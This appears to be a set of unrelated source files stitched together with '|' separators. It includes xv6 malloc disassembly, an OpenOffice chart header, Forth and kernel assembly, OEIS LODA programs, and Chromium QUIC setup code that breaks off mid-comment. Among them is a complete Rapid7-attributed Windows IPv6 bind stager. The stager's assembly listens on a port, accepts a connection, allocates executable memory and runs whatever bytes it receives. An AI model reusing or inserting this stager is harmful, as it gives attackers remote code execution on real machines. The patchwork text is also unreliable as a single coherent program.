6e5: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
6ec: 8b 45 08 mov 0x8(%ebp),%eax
6ef: c1 e0 03 shl $0x3,%eax
6f2: 83 ec 0c sub $0xc,%esp
6f5: 50 push %eax
6f6: e8 49 fc ff ff call 344 <sbrk>
6fb: 83 c4 10 add $0x10,%esp
6fe: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
701: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
705: 75 07 jne 70e <morecore+0x38>
return 0;
707: b8 00 00 00 00 mov $0x0,%eax
70c: eb 26 jmp 734 <morecore+0x5e>
hp = (Header*)p;
70e: 8b 45 f4 mov -0xc(%ebp),%eax
711: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
714: 8b 45 f0 mov -0x10(%ebp),%eax
717: 8b 55 08 mov 0x8(%ebp),%edx
71a: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
71d: 8b 45 f0 mov -0x10(%ebp),%eax
720: 83 c0 08 add $0x8,%eax
723: 83 ec 0c sub $0xc,%esp
726: 50 push %eax
727: e8 c8 fe ff ff call 5f4 <free>
72c: 83 c4 10 add $0x10,%esp
return freep;
72f: a1 94 0a 00 00 mov 0xa94,%eax
}
734: c9 leave
735: c3 ret
00000736 <malloc>:
void*
malloc(uint nbytes)
{
736: 55 push %ebp
737: 89 e5 mov %esp,%ebp
739: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
73c: 8b 45 08 mov 0x8(%ebp),%eax
73f: 83 c0 07 add $0x7,%eax
742: c1 e8 03 shr $0x3,%eax
745: 83 c0 01 add $0x1,%eax
748: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
74b: a1 94 0a 00 00 mov 0xa94,%eax
750: 89 45 f0 mov %eax,-0x10(%ebp)
753: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
757: 75 23 jne 77c <malloc+0x46>
base.s.ptr = freep = prevp = &base;
759: c7 45 f0 8c 0a 00 00 movl $0xa8c,-0x10(%ebp)
760: 8b 45 f0 mov -0x10(%ebp),%eax
763: a3 94 0a 00 00 mov %eax,0xa94
768: a1 94 0a 00 00 mov 0xa94,%eax
76d: a3 8c 0a 00 00 mov %eax,0xa8c
base.s.size = 0;
772: c7 05 90 0a 00 00 00 movl $0x0,0xa90
779: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
77c: 8b 45 f0 mov -0x10(%ebp),%eax
77f: 8b 00 mov (%eax),%eax
781: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
784: 8b 45 f4 mov -0xc(%ebp),%eax
787: 8b 40 04 mov 0x4(%eax),%eax
78a: 3b 45 ec cmp -0x14(%ebp),%eax
78d: 72 4d jb 7dc <malloc+0xa6>
if(p->s.size == nunits)
78f: 8b 45 f4 mov -0xc(%ebp),%eax
792: 8b 40 04 mov 0x4(%eax),%eax
795: 3b 45 ec cmp -0x14(%ebp),%eax
798: 75 0c jne 7a6 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
79a: 8b 45 f4 mov -0xc(%ebp),%eax
79d: 8b 10 mov (%eax),%edx
79f: 8b 45 f0 mov -0x10(%ebp),%eax
7a2: 89 10 mov %edx,(%eax)
7a4: eb 26 jmp 7cc <malloc+0x96>
else {
p->s.size -= nunits;
7a6: 8b 45 f4 mov -0xc(%ebp),%eax
7a9: 8b 40 04 mov 0x4(%eax),%eax
7ac: 2b 45 ec sub -0x14(%ebp),%eax
7af: 89 c2 mov %eax,%edx
7b1: 8b 45 f4 mov -0xc(%ebp),%eax
7b4: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7b7: 8b 45 f4 mov -0xc(%ebp),%eax
7ba: 8b 40 04 mov 0x4(%eax),%eax
7bd: c1 e0 03 shl $0x3,%eax
7c0: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
7c3: 8b 45 f4 mov -0xc(%ebp),%eax
7c6: 8b 55 ec mov -0x14(%ebp),%edx
7c9: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
7cc: 8b 45 f0 mov -0x10(%ebp),%eax
7cf: a3 94 0a 00 00 mov %eax,0xa94
return (void*)(p + 1);
7d4: 8b 45 f4 mov -0xc(%ebp),%eax
7d7: 83 c0 08 add $0x8,%eax
7da: eb 3b jmp 817 <malloc+0xe1>
}
if(p == freep)
7dc: a1 94 0a 00 00 mov 0xa94,%eax
7e1: 39 45 f4 cmp %eax,-0xc(%ebp)
7e4: 75 1e jne 804 <malloc+0xce>
if((p = morecore(nunits)) == 0)
7e6: 83 ec 0c sub $0xc,%esp
7e9: ff 75 ec pushl -0x14(%ebp)
7ec: e8 e5 fe ff ff call 6d6 <morecore>
7f1: 83 c4 10 add $0x10,%esp
7f4: 89 45 f4 mov %eax,-0xc(%ebp)
7f7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7fb: 75 07 jne 804 <malloc+0xce>
return 0;
7fd: b8 00 00 00 00 mov $0x0,%eax
802: eb 13 jmp 817 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
804: 8b 45 f4 mov -0xc(%ebp),%eax
807: 89 45 f0 mov %eax,-0x10(%ebp)
80a: 8b 45 f4 mov -0xc(%ebp),%eax
80d: 8b 00 mov (%eax),%eax
80f: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
812: e9 6d ff ff ff jmp 784 <malloc+0x4e>
}
817: c9 leave
818: c3 ret
|
/**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
#ifndef CHART2_DATASOURCETABPAGE_HXX
#define CHART2_DATASOURCETABPAGE_HXX
#include <svtools/wizardmachine.hxx>
#include "DialogModel.hxx"
#include "TabPageNotifiable.hxx"
// header for class Edit
#include <vcl/edit.hxx>
// header for class ListBox
#include <vcl/lstbox.hxx>
// header for class PushButton, OKButton, CancelButton, HelpButton
#ifndef _SV_BUTTON_HXX
#include <vcl/button.hxx>
#endif
// header for class FixedText, FixedLine
#include <vcl/fixed.hxx>
// header for class SvTabListBox
#include <svtools/svtabbx.hxx>
// header for class SvTreeListBox
#include <svtools/svtreebx.hxx>
#include <com/sun/star/chart2/XChartDocument.hpp>
#include <com/sun/star/chart2/XDiagram.hpp>
#include <com/sun/star/chart2/data/XDataProvider.hpp>
#include <com/sun/star/chart2/XDataSeries.hpp>
#include <com/sun/star/sheet/XRangeSelection.hpp>
#include <utility>
#include <vector>
#include <memory>
#include "RangeSelectionListener.hxx"
#include "RangeSelectionButton.hxx"
#include "RangeEdit.hxx"
namespace com { namespace sun { namespace star {
namespace chart2 {
class XChartType;
}}}}
namespace chart
{
class ChartTypeTemplateProvider;
class DialogModel;
class DataSourceTabPage :
public ::svt::OWizardPage,
public RangeSelectionListenerParent
{
public:
explicit DataSourceTabPage(
Window * pParent,
DialogModel & rDialogModel,
ChartTypeTemplateProvider* pTemplateProvider,
Dialog * pParentDialog,
bool bHideDescription = false );
virtual ~DataSourceTabPage();
void commitPage();
protected:
// OWizardPage
virtual void ActivatePage();
virtual sal_Bool commitPage( ::svt::WizardTypes::CommitPageReason eReason );
//TabPage
virtual void DeactivatePage();
virtual void initializePage();
DECL_LINK( SeriesSelectionChangedHdl, void* );
DECL_LINK( RoleSelectionChangedHdl, void* );
DECL_LINK( MainRangeButtonClickedHdl, void* );
DECL_LINK( CategoriesRangeButtonClickedHdl, void* );
DECL_LINK( AddButtonClickedHdl, void* );
DECL_LINK( RemoveButtonClickedHdl, void* );
DECL_LINK( RangeModifiedHdl, Edit* );
DECL_LINK( RangeUpdateDataHdl, Edit* );
DECL_LINK( UpButtonClickedHdl, void* );
DECL_LINK( DownButtonClickedHdl, void* );
// ____ RangeSelectionListenerParent ____
virtual void listeningFinished( const ::rtl::OUString & rNewRange );
virtual void disposingRangeSelection();
void updateControlState();
protected:
/** updates the internal data according to the content of the given edit
field. If pField is 0, all relevant fields are used
@return
<TRUE/> if the text from the field is a valid format to the internal
data was valid
*/
bool updateModelFromControl( Edit * pField = 0 );
::com::sun::star::uno::Reference< ::com::sun::star::sheet::XRangeSelectionListener >
getSelectionRangeListener();
/** @return </sal_True>, if the edit field contains a valid range entry. if no
XCellRangesAccess can be obtained, </sal_True> is returned.
*/
bool isRangeFieldContentValid( Edit & rEdit );
/** @return </sal_True>, if the tab-page is in a consistent (commitable) state
*/
bool isValid();
void setDirty();
void updateControlsFromDialogModel();
void fillSeriesListBox();
void fillRoleListBox();
private:
FixedText m_aFT_CAPTION;
FixedText m_aFT_SERIES;
::std::auto_ptr< SvTreeListBox > m_apLB_SERIES;
PushButton m_aBTN_ADD;
PushButton m_aBTN_REMOVE;
PushButton m_aBTN_UP;
PushButton m_aBTN_DOWN;
FixedText m_aFT_ROLE;
SvTabListBox m_aLB_ROLE;
FixedText m_aFT_RANGE;
RangeEdit m_aEDT_RANGE;
RangeSelectionButton m_aIMB_RANGE_MAIN;
FixedText m_aFT_CATEGORIES;
FixedText m_aFT_DATALABELS;//used for xy charts
RangeEdit m_aEDT_CATEGORIES;
RangeSelectionButton m_aIMB_RANGE_CAT;
::rtl::OUString m_aFixedTextRange;
ChartTypeTemplateProvider * m_pTemplateProvider;
DialogModel & m_rDialogModel;
Edit * m_pCurrentRangeChoosingField;
bool m_bIsDirty;
sal_Int32 m_nLastChartTypeGroupIndex;
Dialog * m_pParentDialog;
TabPageNotifiable * m_pTabPageNotifiable;
};
} // namespace chart
// CHART2_DATASOURCETABPAGE_HXX
#endif
|
#pragma once
#include <utility>
using SpellID = int;
// Pair of ending tick and Spell
using SpellCast = std::pair<int, SpellID>;
class Spell {
public:
Spell(SpellID l_id, float l_duration) : m_id(l_id), m_duration(l_duration) {}
SpellID GetSpellID() {
return m_id;
}
float GetDuration() {
return m_duration;
}
private:
SpellID m_id;
float m_duration;
}; |
; Split TOS into 4 bytes with most significant byte at TOS.
; S: a -- e d c b
$CODE 'SPLIT-8',$SPLIT8
POPDS EAX
XOR ECX,ECX
MOV CL,AL
PUSH ECX
MOV CL,AH
PUSH ECX
SHR EAX,16
MOV CL,AL
PUSH ECX
MOV CL,AH
PUSH ECX
$NEXT
|
;----------------------------------------------------------;
; BOS kernel Christoffer Bubach, 2003-2005. ;
;----------------------------------------------------------;
; ;
; Goes back to realmode to do an INT. ;
; ;
;----------------------------------------------------------;
rmode_int:
pushad
push eax
shr eax, 16 ; move high bits to ax
mov word [realmode_ax], ax ; save new ax value
pop eax ; restore
push ebx
shr ebx, 16 ; move high bits to bx
mov byte [int_number], bl ; save int number to call
pop ebx
mov byte [realmode_error], 0 ; all variables is in the
mov word [realmode_bx], bx ; realmode/variables.inc file
mov word [realmode_cx], cx
mov word [realmode_dx], dx
call disable_irqs
jmp pword 0x18:do_16pmode ; begin our dark journey into 16bit-land
use16
do_16pmode:
mov ax, 0x20
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
cli
mov eax, cr0
and al, 0xFE
mov cr0, eax
jmp 0x0000:(do_realm) ; this should be triple checked!
do_realm:
mov ax, cs
mov ds, ax
xor ax, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
lidt [ridtr] ; realmode/variables.inc
sti
mov ax, word [realmode_ax]
mov bx, word [realmode_bx]
mov cx, word [realmode_cx]
mov dx, word [realmode_dx]
push ax ; this is some cool shit.. ;)
mov al, [int_number] ; interrupt to preform
mov [$+5], al ; move it to right pos.
pop ax
db 0xCD ; opcode for int.
db 0x00 ; move int_number here
jnc .no_error
mov byte [realmode_error], 1
.no_error:
mov word [realmode_ax], ax
mov word [realmode_bx], bx
mov word [realmode_cx], cx
mov word [realmode_dx], dx
cli
lgdt [gdtr]
lidt [idtr]
mov eax, cr0
or al, 1
mov cr0, eax
jmp pword 0x08:gobackto_pm
use32
gobackto_pm:
mov ax, 0x10 ; refresh all segment registers
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
call enable_irqs
sti
popad
clc ; clear carry.
cmp [realmode_error], 1 ; if error, then
jne .end
stc ; set carry.
.end:
ret |
; These macrodefinitions are copied from linux sources
; Linux is written in C, so the definitions looked a bit
; different there.
; We could have just looked up their values and use
; them directly inright places
; However it would have made the code much less legible
%define O_RDONLY 0
%define PROT_READ 0x1
%define MAP_PRIVATE 0x2
section .data
; This is the file name. You are free to change it.
fname: db 'test.txt', 0
section .text
global _start
; These functions are used to print a null terminated string
print_string:
push rdi
call string_length
pop rsi
mov rdx, rax
mov rax, 1
mov rdi, 1
syscall
ret
string_length:
xor rax, rax
.loop:
cmp byte [rdi+rax], 0
je .end
inc rax
jmp .loop
.end:
ret
_start:
; call open
mov rax, 2
mov rdi, fname
mov rsi, O_RDONLY ; Open file read only
mov rdx, 0 ; We are not creating a file
; so this argument has no meaning
syscall
; mmap
mov r8, rax ; rax holds opened file descriptor
; it is the fourth argument of mmap
mov rax, 9 ; mmap number
mov rdi, 0 ; operating system will choose mapping destination
mov rsi, 4096 ; page size
mov rdx, PROT_READ ; new memory region will be marked read only
mov r10, MAP_PRIVATE; pages will not be shared
mov r9, 0 ; offset inside test.txt
syscall ; now rax will point to mapped location
mov rdi, rax
call print_string
mov rax, 60 ; use exit system call to shut down correctly
xor rdi, rdi
syscall |
; A280321: Number of 2 X 2 matrices with all elements in {0,..,n} having determinant = n*permanent.
; 1,12,25,49,81,121,169,225,289,361,441,529,625,729,841,961,1089,1225,1369,1521,1681,1849,2025,2209,2401,2601,2809,3025,3249,3481,3721,3969,4225,4489,4761,5041,5329,5625,5929,6241,6561,6889,7225,7569,7921,8281,8649,9025,9409,9801,10201,10609,11025,11449,11881,12321,12769,13225,13689,14161,14641,15129,15625,16129,16641,17161,17689,18225,18769,19321,19881,20449,21025,21609,22201,22801,23409,24025,24649,25281,25921,26569,27225,27889,28561,29241,29929,30625,31329,32041,32761,33489,34225,34969,35721,36481,37249,38025,38809,39601,40401,41209,42025,42849,43681,44521,45369,46225,47089,47961,48841,49729,50625,51529,52441,53361,54289,55225,56169,57121,58081,59049,60025,61009,62001,63001,64009,65025,66049,67081,68121,69169,70225,71289,72361,73441,74529,75625,76729,77841,78961,80089,81225,82369,83521,84681,85849,87025,88209,89401,90601,91809,93025,94249,95481,96721,97969,99225,100489,101761,103041,104329,105625,106929,108241,109561,110889,112225,113569,114921,116281,117649,119025,120409,121801,123201,124609,126025,127449,128881,130321,131769,133225,134689,136161,137641,139129,140625,142129,143641,145161,146689,148225,149769,151321,152881,154449,156025,157609,159201,160801,162409,164025,165649,167281,168921,170569,172225,173889,175561,177241,178929,180625,182329,184041,185761,187489,189225,190969,192721,194481,196249,198025,199809,201601,203401,205209,207025,208849,210681,212521,214369,216225,218089,219961,221841,223729,225625,227529,229441,231361,233289,235225,237169,239121,241081,243049,245025,247009,249001
mov $1,3
trn $1,$0
mov $4,$0
mul $0,$1
pow $1,$0
mov $2,$4
mul $2,4
add $1,$2
mov $3,$4
mul $3,$4
mov $2,$3
mul $2,4
add $1,$2
|
; A321825: a(n) = Sum_{d|n, d==1 (mod 4)} d^9 - Sum_{d|n, d==3 (mod 4)} d^9.
; Submitted by Jon Maiga
; 1,1,-19682,1,1953126,-19682,-40353606,1,387400807,1953126,-2357947690,-19682,10604499374,-40353606,-38441425932,1,118587876498,387400807,-322687697778,1953126,794239673292,-2357947690,-1801152661462,-19682,3814699218751,10604499374,-7625210084180,-40353606,14507145975870,-38441425932,-26439622160670,1,46409126434580,118587876498,-78815677072356,387400807,129961739795078,-322687697778,-208717756679068,1953126,327381934393962,794239673292,-502592611936842,-2357947690,756642588572682
add $0,1
mov $2,$0
lpb $0
add $1,$4
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,9
sub $4,$1
add $3,$4
add $1,$3
lpe
add $1,1
mov $0,$1
|
; Title: Windows Bind Stager (NX, IPv6)
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
; Author: Rapid7, Inc
[BITS 32]
global _start
_start:
call LKernel32Base
LGetProcAddress:
push ebx
push ebp
push esi
push edi
mov ebp, [esp + 24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 120]
add edx, ebp
mov ecx, [edx + 24]
mov ebx, [edx + 32]
add ebx, ebp
LFnlp:
jecxz LNtfnd
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
xor edi, edi
cld
LHshlp:
xor eax, eax
lodsb
cmp al, ah
je LFnd
ror edi, 13
add edi, eax
jmp short LHshlp
LFnd:
cmp edi, [esp + 20]
jnz LFnlp
mov ebx, [edx + 36]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 28]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
jmp short LDone
LNtfnd:
xor eax, eax
LDone:
pop edi
pop esi
pop ebp
pop ebx
ret 8
LKernel32Base:
xor edx, edx
mov edx, [fs:edx+0x30] ; get a pointer to the PEB
mov edx, [edx+0x0C] ; get PEB->Ldr
mov edx, [edx+0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink
next_mod:
mov esi, [edx+0x28] ; get pointer to modules name (unicode string)
push byte 24 ; push down the length we want to check
pop ecx ; set ecx to this length for the loop
xor edi, edi ; clear edi which will store the hash of the module name
loop_modname:
xor eax, eax ; clear eax
lodsb ; read in the next byte of the name
cmp al, 'a' ; some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; if so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; rotate left our hash value
add edi, eax ; add the next byte of the name
loop loop_modname ; loop untill we have read enough
cmp edi, 0x6A4ABC5B ; compare the hash with that of kernel32.dll
mov ebx, [edx+0x10] ; get this modules base address
mov edx, [edx] ; get the next module
jne next_mod ; if it doesnt match, process the next module
pop esi
push ebx ; kernel32.dll base
push dword 0xec0e4e8e ; LoadLibraryA
call esi ; GetProcAddress(kerne32.dll, LoadLibrary)
mov edi, eax
push ebx ; kernel32.dll base
push dword 0x91afca54 ; VirtualAlloc
call esi ; GetProcAddress(kerne32.dll, VirtualAlloc)
; ebx = kernel32.dll base
; esi = LGetProcAddress
; edi = LoadLibraryA
; eax = VirtualAlloc
sub esp, 0x100
push eax ; [ebp + 12] = VirtualAlloc
push edi ; [ebp + 8] = LoadLibraryA
push esi ; [ebp + 4] = LGetProcAddress
push ebx ; [ebp + 0] = kernel32.dll base
mov ebp, esp
call LLoadWinsock
%define FN_RECV [ebp + 24]
%define FN_SETSOCKOPT [ebp + 28]
%define FN_ACCEPT [ebp + 32]
%define FN_BIND [ebp + 36]
%define FN_LISTEN [ebp + 40]
%define FN_WSASOCK [ebp + 44]
%define FN_WSASTART [ebp + 48]
LWSDataSegment:
;========================
dd 0x190 ; used by wsastartup
dd 0xe71819b6 ; recv [ebp + 24]
dd 0xc055f2ec ; setsockopt [ebp + 28]
dd 0x498649e5 ; accept [ebp + 32]
dd 0xc7701aa4 ; bind [ebp + 36]
dd 0xe92eada4 ; listen [ebp + 40]
dd 0xadf509d9 ; WSASocketA [ebp + 44]
dd 0x3bfcedcb ; WSAStartup [ebp + 48]
db "WS2_32", 0x00
;========================
LLoadWinsock:
pop ebx ; save address to data in ebx
lea ecx, [ebx + 32] ; find address of "WS2_32.DLL"
push ecx ; push address of "WS2_32.DLL"
call edi ; call LoadLibraryA("WS2_32.DLL")
mov edi, ebx ; store base of data section in edi
mov ebx, eax ; store base of winsock in ebx
lea esi, [ebp + 20] ; store base of function table
push byte 7 ; load 7 functions by hash
pop ecx ; configure the counter
Looper:
push ecx ; save the counter
push ebx ; dll handle
push dword [edi + ecx * 4] ; function hash value
call [ebp + 4] ; find the address
pop ecx ; restore the counter
mov [esi + ecx * 4], eax ; stack segment to store addresses
loop Looper
LWSAStartup: ; WSAStartup (0x0202, DATA)
sub esp, [edi]
push esp
push dword 0x0202
call FN_WSASTART
xor eax, eax
LWSASocketA: ; WSASocketA (23,1,6,0,0,0)
; dwFlags
push eax
; RESERVED
push eax
; PROTOCOL INFO
push eax
; PROTOCOL: IPPROTO_TCP
push byte 6
; TYPE: SOCK_STREAM
push byte 1
; FAMILY: AF_INET6
push byte 23
; WSASocket()
call FN_WSASOCK
mov edi, eax
push byte 10 ; dwProtectionLevel = PROTECTION_LEVEL_UNRESTRICTED
mov eax, esp ; save an address for this
push byte 4 ; sizeof(DWORD)
push eax ; pointer to PROTECTION_LEVEL_UNRESTRICTED
push byte 23 ; IPV6_PROTECTION_LEVEL
push byte 41 ; IPPROTO_IPV6
push edi ; the socket
call FN_SETSOCKOPT ; setsockopt( sock, IPPROTO_IPV6, IPV6_PROTECTION_LEVEL, &dwProtectionLevel, sizeof(DWORD) );
pop eax
LBind:
; sin6_scope_id
push dword 0x00000000
xor ecx, ecx
; sin6_addr = ::0
push ecx
push ecx
push ecx
push ecx
; sin6_flowinfo
push ecx
; sin6_port / sin6_family
push dword 0xffff0017
mov ecx, esp
push byte 28 ; length
push ecx
push edi
call FN_BIND
xor ebx, ebx
LListen:
push ebx
push edi
call FN_LISTEN
LAccept:
push ebx
push ebx
push edi
call FN_ACCEPT
mov edi, eax
LAllocateMemory: ; VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
push byte 0x40
pop esi
push esi ; PAGE_EXECUTE_READWRITE=0x40
shl esi, 6 ; MEM_COMMIT=0x1000
push esi
shl esi, 8 ; 1MB
push esi
push byte 0x00 ; NULL
call [ebp+12]
mov ebx, eax
LRecvLength: ; recv(s, buff, 4, 0)
push byte 0x00 ; flags
push dword 4096 ; length
push ebx ; buffer
push dword edi ; socket
call FN_RECV ; recv()
call ebx
|
// Copyright (c) 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "net/third_party/quiche/src/quic/quartc/quartc_factory.h"
#include <utility>
#include "net/third_party/quiche/src/quic/core/crypto/quic_random.h"
#include "net/third_party/quiche/src/quic/core/quic_utils.h"
#include "net/third_party/quiche/src/quic/core/tls_client_handshaker.h"
#include "net/third_party/quiche/src/quic/core/tls_server_handshaker.h"
#include "net/third_party/quiche/src/quic/core/uber_received_packet_manager.h"
#include "net/third_party/quiche/src/quic/platform/api/quic_socket_address.h"
#include "net/third_party/quiche/src/quic/quartc/quartc_connection_helper.h"
#include "net/third_party/quiche/src/quic/quartc/quartc_crypto_helpers.h"
#include "net/third_party/quiche/src/quic/quartc/quartc_session.h"
#include "net/third_party/quiche/src/common/platform/api/quiche_string_piece.h"
namespace quic {
std::unique_ptr<QuartcSession> CreateQuartcClientSession(
const QuartcSessionConfig& quartc_session_config,
const QuicClock* clock,
QuicAlarmFactory* alarm_factory,
QuicConnectionHelperInterface* connection_helper,
const ParsedQuicVersionVector& supported_versions,
quiche::QuicheStringPiece server_crypto_config,
QuartcPacketTransport* packet_transport) {
DCHECK(packet_transport);
// QuartcSession will eventually own both |writer| and |quic_connection|.
auto writer = std::make_unique<QuartcPacketWriter>(
packet_transport, quartc_session_config.max_packet_size);
// While the QuicConfig is not directly used by the connection, creating it
// also sets flag values which must be set before creating the connection.
QuicConfig quic_config = CreateQuicConfig(quartc_session_config);
// |dummy_id| and |dummy_address| are used because Quartc network layer will
// not use these two.
QuicConnectionId dummy_id = QuicUtils::CreateZeroConnectionId(
supported_versions[0].transport_version);
QuicSocketAddress dummy_address(QuicIpAddress::Any4(), /*port=*/0);
std::unique_ptr<QuicConnection> quic_connection = CreateQuicConnection(
dummy_id, dummy_address, connection_helper, alarm_factory, writer.get(),
Perspective::IS_CLIENT, supported_versions);
// Quartc sets its own ack delay; get that ack delay and copy it over
// to the QuicConfig so that it can be properly advertised to the peer
// via transport parameter negotiation.
quic_config.SetMaxAckDelayToSendMs(quic_connection->received_packet_manager()
.max_ack_delay()
.ToMilliseconds());
return std::make_unique<QuartcClientSession>(
std::move(quic_connection), quic_config, supported_versions, clock,
std::move(writer),
CreateCryptoClientConfig(quartc_session_config.pre_shared_key),
server_crypto_config);
}
void ConfigureGlobalQuicSettings() {
// Ensure that we don't drop data because QUIC streams refuse to buffer it.
// TODO(b/120099046): Replace this with correct handling of WriteMemSlices().
SetQuicFlag(FLAGS_quic_buffered_data_threshold,
std::numeric_limits<int>::max());
// Enable and request QUIC to include receive timestamps in ACK frames.
SetQuicReloadableFlag(quic_send_timestamps, true);
// Enable ACK_DECIMATION_WITH_REORDERING. It requires ack_decimation to be
// false.
SetQuicReloadableFlag(quic_enable_ack_decimation, false);
// Note: flag settings have no effect for Exoblaze builds since
// SetQuicReloadableFlag() gets stubbed out.
SetQuicReloadableFlag(quic_unified_iw_options, true); // Enable IWXX opts.
SetQuicReloadableFlag(quic_bbr_flexible_app_limited, true); // Enable BBR9.
}
QuicConfig CreateQuicConfig(const QuartcSessionConfig& quartc_session_config) {
// TODO(b/124398962): Figure out a better way to initialize QUIC flags.
// Creating a config shouldn't have global side-effects on flags. However,
// this has the advantage of ensuring that flag values stay in sync with the
// options requested by configs, so simply splitting the config and flag
// settings doesn't seem preferable.
ConfigureGlobalQuicSettings();
QuicTagVector copt;
copt.push_back(kNSTP);
// Enable and request QUIC to include receive timestamps in ACK frames.
copt.push_back(kSTMP);
// Enable ACK_DECIMATION_WITH_REORDERING. It requires ack_decimation to be
// false.
copt.push_back(kAKD2);
// Use unlimited decimation in order to reduce number of unbundled ACKs.
copt.push_back(kAKDU);
// Enable time-based loss detection.
copt.push_back(kTIME);
copt.push_back(kBBR3); // Stay in low-gain until in-flight < BDP.
copt.push_back(kBBR5); // 40 RTT ack aggregation.
copt.push_back(kBBR9); // Ignore app-limited if enough data is in flight.
copt.push_back(kBBQ1); // 2.773 pacing gain in STARTUP.
copt.push_back(kBBQ2); // 2.0 CWND gain in STARTUP.
copt.push_back(k1RTT); // Exit STARTUP after 1 RTT with no gains.
copt.push_back(kIW10); // 10-packet (14600 byte) initial cwnd.
if (!quartc_session_config.enable_tail_loss_probe) {
copt.push_back(kNTLP);
}
// TODO(b/112192153): Test and possible enable slower startup when pipe
// filling is ready to use. Slower startup is kBBRS.
QuicConfig quic_config;
// Use the limits for the session & stream flow control. The default 16KB
// limit leads to significantly undersending (not reaching BWE on the outgoing
// bitrate) due to blocked frames, and it leads to high latency (and one-way
// delay). Setting it to its limits is not going to cause issues (our streams
// are small generally, and if we were to buffer 24MB it wouldn't be the end
// of the world). We can consider setting different limits in future (e.g. 1MB
// stream, 1.5MB session). It's worth noting that on 1mbps bitrate, limit of
// 24MB can capture approx 4 minutes of the call, and the default increase in
// size of the window (half of the window size) is approximately 2 minutes of
// the call.
quic_config.SetInitialSessionFlowControlWindowToSend(
kSessionReceiveWindowLimit);
quic_config.SetInitialStreamFlowControlWindowToSend(
kStreamReceiveWindowLimit);
quic_config.SetConnectionOptionsToSend(copt);
quic_config.SetClientConnectionOptions(copt);
if (quartc_session_config.max_time_before_crypto_handshake >
QuicTime::Delta::Zero()) {
quic_config.set_max_time_before_crypto_handshake(
quartc_session_config.max_time_before_crypto_handshake);
}
if (quartc_session_config.max_idle_time_before_crypto_handshake >
QuicTime::Delta::Zero()) {
quic_config.set_max_idle_time_before_crypto_handshake(
quartc_session_config.max_idle_time_before_crypto_handshake);
}
if (quartc_session_config.idle_network_timeout > QuicTime::Delta::Zero()) {
quic_config.SetIdleNetworkTimeout(
quartc_session_config.idle_network_timeout,
quartc_session_config.idle_network_timeout);
}
// The ICE transport provides a unique 5-tuple for each connection. Save
// overhead by omitting the connection id.
quic_config.SetBytesForConnectionIdToSend(0);
// Allow up to 1000 incoming streams at once. Quartc streams typically contain
// one audio or video frame and close immediately. However, when a video frame
// becomes larger than one packet, there is some delay between the start and
// end of each stream. The default maximum of 100 only leaves about 1 second
// of headroom (Quartc sends ~30 video frames per second) before QUIC starts
// to refuse incoming streams. Back-pressure should clear backlogs of
// incomplete streams, but targets 1 second for recovery. Increasing the
// number of open streams gives sufficient headroom to recover before QUIC
// refuses new streams.
quic_config.SetMaxBidirectionalStreamsToSend(1000);
return quic_config;
}
std::unique_ptr<QuicConnection> CreateQuicConnection(
QuicConnectionId connection_id,
const QuicSocketAddress& peer_address,
QuicConnectionHelperInterface* connection_helper,
QuicAlarmFactory* alarm_factory,
QuicPacketWriter* packet_writer,
Perspective perspective,
ParsedQuicVersionVector supported_versions) {
auto quic_connection = std::make_unique<QuicConnection>(
connection_id, peer_address, connection_helper, alarm_factory,
packet_writer,
/*owns_writer=*/false, perspective, supported_versions);
quic_connection->SetMaxPacketLength(
packet_writer->GetMaxPacketSize(peer_address));
QuicSentPacketManager& sent_packet_manager =
quic_connection->sent_packet_manager();
UberReceivedPacketManager& received_packet_manager =
quic_connection->received_packet_manager();
// Default delayed ack time is 25ms.
// If data packets are sent less often (e.g. because p-time was modified),
// we would force acks to be sent every 25ms regardless, increasing
